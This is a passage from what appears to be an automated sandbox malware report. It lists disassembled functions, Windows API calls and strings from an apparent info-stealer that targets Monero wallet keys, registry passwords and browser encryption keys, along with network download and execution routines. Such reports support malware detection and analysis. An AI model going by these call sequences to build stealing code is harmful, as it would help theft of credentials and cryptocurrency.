Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 36330ecc7aba4355718f21c469ba21dd6de367f0bb4f2ffb16bb84175489f110
Instruction ID: ab4c0bb6aeb3a451e9f454c7f78a8ede25ea4488de03f5d6c1c4004ba1fbe901
Opcode Fuzzy Hash: 36330ecc7aba4355718f21c469ba21dd6de367f0bb4f2ffb16bb84175489f110
Instruction Fuzzy Hash: 1B1214718501089ADB19FBA0DC92FEEB778AF64301F90C159F51A76191EF342B4ACF92

Function 001752C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0017A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0017A7E6

Part of subcall function 00166280: InternetOpenA.WININET(00180DFE,00000001,00000000,00000000,00000000), ref: 001662E1
Part of subcall function 00166280: StrCmpCA.SHLWAPI(?,00CCFC38), ref: 00166303
Part of subcall function 00166280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00166335
Part of subcall function 00166280: HttpOpenRequestA.WININET(00000000,GET,?,00CCF4B8,00000000,00000000,00400100,00000000), ref: 00166385
Part of subcall function 00166280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 001663BF
Part of subcall function 00166280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 001663D1

Part of subcall function 0017A8A0: lstrcpy.KERNEL32(?,00180E17), ref: 0017A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00175318
lstrlen.KERNEL32(00000000), ref: 0017532F

Part of subcall function 00178E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00178E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00175364
lstrlen.KERNEL32(00000000), ref: 00175383
lstrlen.KERNEL32(00000000), ref: 001753AE

Part of subcall function 0017A740: lstrcpy.KERNEL32(00180E17,00000000), ref: 0017A788

Strings

ERROR, xrefs: 00175432
ERROR, xrefs: 001754A9
ERROR, xrefs: 0017546F
ERROR, xrefs: 0017530A
ERROR, xrefs: 001753B9

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 5e5402087a4c6e9365410456de86b08f36584c13ff0fee14590ef73951c5e7a0
Instruction ID: 43872cc9634e8e82d2bf7bd41c3bc41bcb12ecca7234497fa2b30db2736a6c75
Opcode Fuzzy Hash: 5e5402087a4c6e9365410456de86b08f36584c13ff0fee14590ef73951c5e7a0
Instruction Fuzzy Hash: 6651F171910148ABCB18FF60CD96AEE7779AF60301F908018F41E9B591EF756B46CBA3

Function 001712D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 0e388b9c5641f3088d9a6f8c629f0837ba5b4f607ec31e6f25004b33c2fd05db
Instruction ID: 307e135877fe77890ebd7939f7e0b6501447e22e87f676eaadb6819aa17056a5
Opcode Fuzzy Hash: 0e388b9c5641f3088d9a6f8c629f0837ba5b4f607ec31e6f25004b33c2fd05db
Instruction Fuzzy Hash: 8CC154B6940119ABCB14EF60DC89FEE7778BFA4304F108598E50EA7141DB70AA85CF91

Function 00174280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00178DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00178E0B

lstrcat.KERNEL32(?,00000000), ref: 001742EC
lstrcat.KERNEL32(?,00CCF2D8), ref: 0017430B
lstrcat.KERNEL32(?,?), ref: 0017431F
lstrcat.KERNEL32(?,00CCD7F0), ref: 00174333

Part of subcall function 0017A740: lstrcpy.KERNEL32(00180E17,00000000), ref: 0017A788

Part of subcall function 00178D90: GetFileAttributesA.KERNEL32(00000000,?,00161B54,?,?,0018564C,?,?,00180E1F), ref: 00178D9F

Part of subcall function 00169CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00169D39

Part of subcall function 001699C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 001699EC
Part of subcall function 001699C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00169A11
Part of subcall function 001699C0: LocalAlloc.KERNEL32(00000040,?), ref: 00169A31
Part of subcall function 001699C0: ReadFile.KERNEL32(000000FF,?,00000000,0016148F,00000000), ref: 00169A5A
Part of subcall function 001699C0: LocalFree.KERNEL32(0016148F), ref: 00169A90
Part of subcall function 001699C0: CloseHandle.KERNEL32(000000FF), ref: 00169A9A

Part of subcall function 001793C0: GlobalAlloc.KERNEL32(00000000,001743DD,001743DD), ref: 001793D3

StrStrA.SHLWAPI(?,00CCF560), ref: 001743F3
GlobalFree.KERNEL32(?), ref: 00174512

Part of subcall function 00169AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00164EEE,00000000,00000000), ref: 00169AEF
Part of subcall function 00169AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00164EEE,00000000,?), ref: 00169B01
Part of subcall function 00169AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00164EEE,00000000,00000000), ref: 00169B2A
Part of subcall function 00169AC0: LocalFree.KERNEL32(?,?,?,?,00164EEE,00000000,?), ref: 00169B3F

lstrcat.KERNEL32(?,00000000), ref: 001744A3
StrCmpCA.SHLWAPI(?,001808D1), ref: 001744C0
lstrcat.KERNEL32(00000000,00000000), ref: 001744D2
lstrcat.KERNEL32(00000000,?), ref: 001744E5
lstrcat.KERNEL32(00000000,00180FB8), ref: 001744F4

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: a99184f3737ddd7253fe8328c2d842355cbbbd5ab4f840538c9501fe99fa3fc6
Instruction ID: f28cb05ba87508b155837ca6b1d6c653d91b7dc65db18f7de1fcf58568d9952a
Opcode Fuzzy Hash: a99184f3737ddd7253fe8328c2d842355cbbbd5ab4f840538c9501fe99fa3fc6
Instruction Fuzzy Hash: 5F7178B6900218ABCB15EBA0DC85FEE777DAF99300F008598F60997181EB35DB59CF91

Function 00161310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 001612A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 001612B4
Part of subcall function 001612A0: RtlAllocateHeap.NTDLL(00000000), ref: 001612BB
Part of subcall function 001612A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 001612D7
Part of subcall function 001612A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 001612F5
Part of subcall function 001612A0: RegCloseKey.ADVAPI32(?), ref: 001612FF

lstrcat.KERNEL32(?,00000000), ref: 0016134F
lstrlen.KERNEL32(?), ref: 0016135C
lstrcat.KERNEL32(?,.keys), ref: 00161377

Part of subcall function 0017A740: lstrcpy.KERNEL32(00180E17,00000000), ref: 0017A788

Part of subcall function 0017A9B0: lstrlen.KERNEL32(?,00CC9188,?,\Monero\wallet.keys,00180E17), ref: 0017A9C5
Part of subcall function 0017A9B0: lstrcpy.KERNEL32(00000000), ref: 0017AA04
Part of subcall function 0017A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0017AA12

Part of subcall function 0017A8A0: lstrcpy.KERNEL32(?,00180E17), ref: 0017A905

Part of subcall function 00178B60: GetSystemTime.KERNEL32(00180E1A,00CCEEF0,001805AE,?,?,001613F9,?,0000001A,00180E1A,00000000,?,00CC9188,?,\Monero\wallet.keys,00180E17), ref: 00178B86

Part of subcall function 0017A920: lstrcpy.KERNEL32(00000000,?), ref: 0017A972
Part of subcall function 0017A920: lstrcat.KERNEL32(00000000), ref: 0017A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00161465

Part of subcall function 0017A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0017A7E6

Part of subcall function 001699C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 001699EC
Part of subcall function 001699C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00169A11
Part of subcall function 001699C0: LocalAlloc.KERNEL32(00000040,?), ref: 00169A31
Part of subcall function 001699C0: ReadFile.KERNEL32(000000FF,?,00000000,0016148F,00000000), ref: 00169A5A
Part of subcall function 001699C0: LocalFree.KERNEL32(0016148F), ref: 00169A90
Part of subcall function 001699C0: CloseHandle.KERNEL32(000000FF), ref: 00169A9A

DeleteFileA.KERNEL32(00000000), ref: 001614EF

Strings

wallet_path, xrefs: 00161330
.keys, xrefs: 0016136B
SOFTWARE\monero-project\monero-core, xrefs: 00161335
\Monero\wallet.keys, xrefs: 0016138D

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: cf0fae3c501397a42055c0bebed9e616e3faa19e5668c6ab731b5d8119fb4e2d
Instruction ID: e886235cc2f3e6adf73a35e569c79a70b748ed4515f8d020142a1a90ef9475e3
Opcode Fuzzy Hash: cf0fae3c501397a42055c0bebed9e616e3faa19e5668c6ab731b5d8119fb4e2d
Instruction Fuzzy Hash: 585113B195011957CB55FB60DD92FEE737CAF64301F8085A8B60EA2091EF305B89CFA6

Function 001675D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001672D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 0016733A
Part of subcall function 001672D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 001673B1
Part of subcall function 001672D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0016740D
Part of subcall function 001672D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00167452
Part of subcall function 001672D0: HeapFree.KERNEL32(00000000), ref: 00167459

lstrcat.KERNEL32(00000000,001817FC), ref: 00167606
lstrcat.KERNEL32(00000000,00000000), ref: 00167648
lstrcat.KERNEL32(00000000, : ), ref: 0016765A
lstrcat.KERNEL32(00000000,00000000), ref: 0016768F
lstrcat.KERNEL32(00000000,00181804), ref: 001676A0
lstrcat.KERNEL32(00000000,00000000), ref: 001676D3
lstrcat.KERNEL32(00000000,00181808), ref: 001676ED
task.LIBCPMTD ref: 001676FB

Strings

: , xrefs: 0016764E

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: d348c0bbf71292b84e38a873d4a575c95e0c630f175a1441746646e9cdb36dfa
Instruction ID: 73163f911d253c5a4fbab1e2cae34ceb7f6f441faa412c79828502dfd1bd9dc1
Opcode Fuzzy Hash: d348c0bbf71292b84e38a873d4a575c95e0c630f175a1441746646e9cdb36dfa
Instruction Fuzzy Hash: 59316B72900509EFCB09EBA8DC95DFE777DAB56302F144118F102A72A0DB38A946CF52

Function 00178100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00CCF158,00000000,?,00180E2C,00000000,?,00000000), ref: 00178130
RtlAllocateHeap.NTDLL(00000000), ref: 00178137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00178158
__aulldiv.LIBCMT ref: 00178172
__aulldiv.LIBCMT ref: 00178180
wsprintfA.USER32 ref: 001781AC

Strings

@, xrefs: 0017814D
%d MB, xrefs: 001781A3

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: 4f3bccd192d3006b25f865db2d9274b98a4d051e7ebeeb31f5111d3880098395
Instruction ID: 592d36df82451bc678d8c42c15f474492aa752d4bd769e4b0ec9780bc2a8cecd
Opcode Fuzzy Hash: 4f3bccd192d3006b25f865db2d9274b98a4d051e7ebeeb31f5111d3880098395
Instruction Fuzzy Hash: B6211DB1E44618ABDB04DFD4DC49FAEBBBCFB44B10F108519F609BB280D77869018BA5

Function 001660A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0017A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0017A7E6

Part of subcall function 001647B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00164839
Part of subcall function 001647B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00164849

InternetOpenA.WININET(00180DF7,00000001,00000000,00000000,00000000), ref: 0016610F
StrCmpCA.SHLWAPI(?,00CCFC38), ref: 00166147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0016618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 001661B3
InternetReadFile.WININET(?,?,00000400,?), ref: 001661DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0016620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00166249
InternetCloseHandle.WININET(?), ref: 00166253
InternetCloseHandle.WININET(00000000), ref: 00166260

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 38a2fe26aaedf75adfe0c0b69ebe4301d2902cec7dce715c957a521eef4293a9
Instruction ID: 39650210d19a935fe7071e6094628bc660114c8ccfc050a3da14f3fbd6f7ed43
Opcode Fuzzy Hash: 38a2fe26aaedf75adfe0c0b69ebe4301d2902cec7dce715c957a521eef4293a9
Instruction Fuzzy Hash: 765171B1940218ABDB24DFA0DC59BEE77B8FF44701F108098B609A71C0DB756A89CF95

Function 001672D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 0016733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 001673B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0016740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00167452
HeapFree.KERNEL32(00000000), ref: 00167459
task.LIBCPMTD ref: 00167555

Strings

Password, xrefs: 00167401

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 762c0c02865d4d47a9ac93522562a7157eb11537d50a807f76a2c9b73b01cd20
Instruction ID: ff65391b6baf63edb3f00be4ea0e865e687a544b8b9cc321204938e03073910f
